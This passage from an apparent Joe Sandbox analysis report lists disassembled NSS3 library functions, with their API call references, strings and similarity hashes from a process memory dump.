PL_HashTableLookup.NSS3(?,?,?,6C72AB7F,?,00000000,?), ref: 6C724D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C724D10

Part of subcall function 6C7ADD70: TlsGetValue.KERNEL32 ref: 6C7ADD8C
Part of subcall function 6C7ADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7ADDB4

PR_Now.NSS3(?,00000000,?), ref: 6C724D26

Part of subcall function 6C7C9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C810A27), ref: 6C7C9DC6
Part of subcall function 6C7C9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C810A27), ref: 6C7C9DD1
Part of subcall function 6C7C9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C7C9DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C724D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C724DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C724E02

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 9eade404a8e13dfa4fa9b2232f993ad6bb35e7e66abba1e43261c39acb0a5f6a
Instruction ID: f5a25cb7bbef2e90dc8e50234d9b43a3a7e07876ed2cb0eddf4c44797607c386
Opcode Fuzzy Hash: 9eade404a8e13dfa4fa9b2232f993ad6bb35e7e66abba1e43261c39acb0a5f6a
Instruction Fuzzy Hash: F341E7B6E00101ABEB119F28ED49A6677B9FF1525CF094170ED0887B12FB35D919CBE2

Function 6C70BFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C70BFFB

Part of subcall function 6C760FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7087ED,00000800,6C6FEF74,00000000), ref: 6C761000
Part of subcall function 6C760FF0: PR_NewLock.NSS3(?,00000800,6C6FEF74,00000000), ref: 6C761016
Part of subcall function 6C760FF0: PL_InitArenaPool.NSS3(00000000,security,6C7087ED,00000008,?,00000800,6C6FEF74,00000000), ref: 6C76102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6C70C015

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6C70C032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6C70C04D

Part of subcall function 6C7569E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C756A47
Part of subcall function 6C7569E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6C756A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6C70C064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6C70C07B

Part of subcall function 6C708980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6C707310), ref: 6C7089B8
Part of subcall function 6C708980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6C707310), ref: 6C7089E6
Part of subcall function 6C708980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6C708A00
Part of subcall function 6C708980: CERT_CopyRDN.NSS3(00000004,00000000,6C707310,?,?,00000004,?), ref: 6C708A1B
Part of subcall function 6C708980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6C708A74

Part of subcall function 6C701D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6C70C097,00000000,000000B0,?), ref: 6C701D2C
Part of subcall function 6C701D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6C70C09B,00000000,00000000,00000000,?,6C70C097,00000000,000000B0,?), ref: 6C701D3F
Part of subcall function 6C701D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6C70C087,00000000,000000B0,?), ref: 6C701D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6C70C0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6C70C0C9

Part of subcall function 6C712DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6C70C0D2,6C70C0CE,00000000,-000000D4,?), ref: 6C712DF5
Part of subcall function 6C712DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6C70C0CE,00000000,-000000D4,?), ref: 6C712E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6C70C0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C70C0E3

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: 62f2abf1864cd2258ed80a522f760f49b37616b6f247c7aa7e8da63cc9ee4753
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: 3A2153E674010567FB006A61AE89FEB36AC9B4175DF084034FD04D9A46FB25D919C373

Function 6C702E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C702CDA,?,00000000), ref: 6C702E1E

Part of subcall function 6C75FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C709003,?), ref: 6C75FD91
Part of subcall function 6C75FD80: PORT_Alloc_Util.NSS3(A4686C76,?), ref: 6C75FDA2
Part of subcall function 6C75FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C76,?,?), ref: 6C75FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C702E33

Part of subcall function 6C75FD80: free.MOZGLUE(00000000,?,?), ref: 6C75FDD1

TlsGetValue.KERNEL32 ref: 6C702E4E
EnterCriticalSection.KERNEL32(?), ref: 6C702E5E
PL_HashTableLookup.NSS3(?), ref: 6C702E71
PL_HashTableRemove.NSS3(?), ref: 6C702E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C702E96
PR_Unlock.NSS3 ref: 6C702EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C702EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C702EC5

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: 0eedcd278129a1fb0d1eef6fce82c7630a4cf945cf2b87cc5783493a6345c99d
Instruction ID: 58fa96d8d33341c5d0edae5b4a8ab3f2c7ad9ed09335d6ee64da9117a3118c8d
Opcode Fuzzy Hash: 0eedcd278129a1fb0d1eef6fce82c7630a4cf945cf2b87cc5783493a6345c99d
Instruction Fuzzy Hash: 552107B2E40101A7EF111B25DD0DAAB3AB9EB5235DF140170ED1882712FB32D569C7E2

Function 6C6EFC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C6EFD18
sqlite3_initialize.NSS3 ref: 6C6EFD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C6EFD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6C6EFD99
sqlite3_free.NSS3(00000000), ref: 6C6EFE3C
sqlite3_free.NSS3(?), ref: 6C6EFEE3
sqlite3_free.NSS3(?), ref: 6C6EFEEE

Strings

simple, xrefs: 6C6EFC79

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: daed3144ba34dc3fa538d517997786fc56f5a2dd4e61d240870586f75c73d74e
Instruction ID: a73b66d2906c763e0c731dcb41cdf67467ad543f51097fd0e9f48fc617743e4c
Opcode Fuzzy Hash: daed3144ba34dc3fa538d517997786fc56f5a2dd4e61d240870586f75c73d74e
Instruction Fuzzy Hash: 5491B5B0E062059FDB04CF55D880AAAFBF1FF89318F24C56AD8199B752D731E902CB95

Function 6C6F5CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C6F5EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6F5EED

Strings

misuse, xrefs: 6C6F5EDB
API call with %s database connection pointer, xrefs: 6C6F5EC3
unable to close due to unfinalized statements or unfinished backups, xrefs: 6C6F5E64
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6F5ED1
invalid, xrefs: 6C6F5EBE
%s at line %d of [%.10s], xrefs: 6C6F5EE0

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: 07d0e0508a83687ef75b41289a50a6352f45bf652285841c4fb3b93acced5756
Instruction ID: 993b2002747fdff1d6e2096486cac26014bf525d0b290649534c039adf4f7a5d
Opcode Fuzzy Hash: 07d0e0508a83687ef75b41289a50a6352f45bf652285841c4fb3b93acced5756
Instruction Fuzzy Hash: FA81B130B076119BEB198E15C848BAA77B2BF4270CF198269D8255BB51C730EC43CBED

Function 6C6DDCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6DDDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6DDE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6DDE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C6DDEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6DDF78

Strings

database corruption, xrefs: 6C6DDE5C, 6C6DDE8B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6DDE52, 6C6DDE81
%s at line %d of [%.10s], xrefs: 6C6DDE61, 6C6DDE90

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: db3017bd3fdb4a0d527e2ccdf42e4cc2ee91930417b68b7a5b5cad222e424a76
Instruction ID: ac46b0ca57a66bfc453108ebe0c7d21b207417f00092de4cc0b7030810110ab0
Opcode Fuzzy Hash: db3017bd3fdb4a0d527e2ccdf42e4cc2ee91930417b68b7a5b5cad222e424a76
Instruction Fuzzy Hash: 3281D9716043119FDB14EF25C880B6A77F1BF85308F16886DE89987B51E731F845CBA6

Function 6C68CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C68B999), ref: 6C68CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C68B999), ref: 6C68D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6C68B999), ref: 6C68D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C68B999), ref: 6C7D972B

Strings

database corruption, xrefs: 6C68CFE7, 6C68D013, 6C68D028, 6C68D039, 6C68D03E, 6C7D9786
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C68CFDD, 6C68D00E, 6C68D022, 6C68D033, 6C7D9780
%s at line %d of [%.10s], xrefs: 6C68CFEC, 6C68D018, 6C68D029, 6C68D03F, 6C7D978B

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 6cc8122b79b5f0bc58e3f4e425b87eba7eb9f2da2313f15a692fc9941a7f228c
Instruction ID: 60c37a0a37bb024cfff0b1940b4e029f2b397d1828b1fb18dde6393b653b7cb8
Opcode Fuzzy Hash: 6cc8122b79b5f0bc58e3f4e425b87eba7eb9f2da2313f15a692fc9941a7f228c
Instruction Fuzzy Hash: B9615971A042209BD310CF29C900BA7B7F1EF95318F1986ADE4499BB42D376E847C7E5

Function 6C78FFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C795B40: PR_GetIdentitiesLayer.NSS3 ref: 6C795B56

PK11_FreeSymKey.NSS3(00000000), ref: 6C790113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C790130
PORT_Alloc_Util.NSS3(00000040), ref: 6C79015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6C7901AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6C790202
free.MOZGLUE(?), ref: 6C790224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C790253

Strings

exporter, xrefs: 6C7900F7

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: 0a8bc881da49a3ed3b051c89bc88cac46b0a80b3cf7c222c6e1360e3fbd20afa
Instruction ID: e87d9eee3ba9a83ebd5b4d88bfc8519b0d0d501b0fe4a790f81ab6122a476411
Opcode Fuzzy Hash: 0a8bc881da49a3ed3b051c89bc88cac46b0a80b3cf7c222c6e1360e3fbd20afa
Instruction Fuzzy Hash: BE6134719003899BEF118FA8EE08BEE77B6FF4834CF144238E91A56651E731A954CB41

Function 6C764DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C76536F,00000022,?,?,00000000,?), ref: 6C764E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C764F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C764F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C764FAE
free.MOZGLUE(?), ref: 6C764FC8

Strings

%s=%s, xrefs: 6C764F89
%s=%c%s%c, xrefs: 6C764FA9
oSvl", xrefs: 6C764DFB, 6C764EF4, 6C764EC5

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oSvl"
API String ID: 2709355791-1883948470
Opcode ID: 221691c203c2a318b34de709888bce658b95a63137842f322950838bac3c94ec
Instruction ID: ae9ef4ba140676945009b22616c34bb4eee5df94caa45139dfee78e9cae2c2d2
Opcode Fuzzy Hash: 221691c203c2a318b34de709888bce658b95a63137842f322950838bac3c94ec
Instruction Fuzzy Hash: 07513831A452458BEF01CA6BC6B07FF7BF99F46308F188136EC94A7F41D32588499791

Function 6C78EF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6C7AA4A1,?,00000000,?,00000001), ref: 6C78EF6D

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

htonl.WSOCK32(00000000,?,6C7AA4A1,?,00000000,?,00000001), ref: 6C78EFE4
htonl.WSOCK32(?,00000000,?,6C7AA4A1,?,00000000,?,00000001), ref: 6C78EFF1
memcpy.VCRUNTIME140(?,?,6C7AA4A1,?,00000000,?,6C7AA4A1,?,00000000,?,00000001), ref: 6C78F00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6C7AA4A1,?,00000000,?,00000001), ref: 6C78F027

Strings

dtls13, xrefs: 6C78EF33

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 70fafa5c8eff8ea70eadb849587cfa1059ba36d1e1d12e8369c726b3ba5d8ed0
Instruction ID: 37b7c83d2a38bd6bfd8ada1fa92cbc269279eec9304f6ddcf4cd5809629ecc69
Opcode Fuzzy Hash: 70fafa5c8eff8ea70eadb849587cfa1059ba36d1e1d12e8369c726b3ba5d8ed0
Instruction Fuzzy Hash: 8E314475A02215AFC710CF28CE84B8AB7E4EF49358F158039E9189BB51E731E815CBE1

Function 6C70AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C70AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C829500,6C703F91), ref: 6C70AFD2

Part of subcall function 6C75B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8318D0,?), ref: 6C75B095

DER_GetInteger_Util.NSS3(?), ref: 6C70B007

Part of subcall function 6C756A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6C701666,?,6C70B00C,?), ref: 6C756AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C70B02F
PR_CallOnce.NSS3(6C862AA4,6C7612D0), ref: 6C70B046
PL_FreeArenaPool.NSS3 ref: 6C70B058
PL_FinishArenaPool.NSS3 ref: 6C70B060

Strings

security, xrefs: 6C70AFB8

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 8557edba4ab10d03e67e8680cbd7df6e46847ec2f47d4311aecf4578b6b542f7
Instruction ID: b9411e84d05fd1ec948e9602e72e1c42252afae706242d57089ffcb825598352
Opcode Fuzzy Hash: 8557edba4ab10d03e67e8680cbd7df6e46847ec2f47d4311aecf4578b6b542f7
Instruction Fuzzy Hash: 4E314CB06043009BD7208F14DE48BAA77E4AF8676CF504A69F8745BBC1E736A309C797

Function 6C703E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6C7040D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C703F7F,?,00000055,?,?,6C701666,?,?), ref: 6C7040D9
Part of subcall function 6C7040D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C701666,?,?), ref: 6C7040FC
Part of subcall function 6C7040D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C701666,?,?), ref: 6C704138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C703EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C703ED6

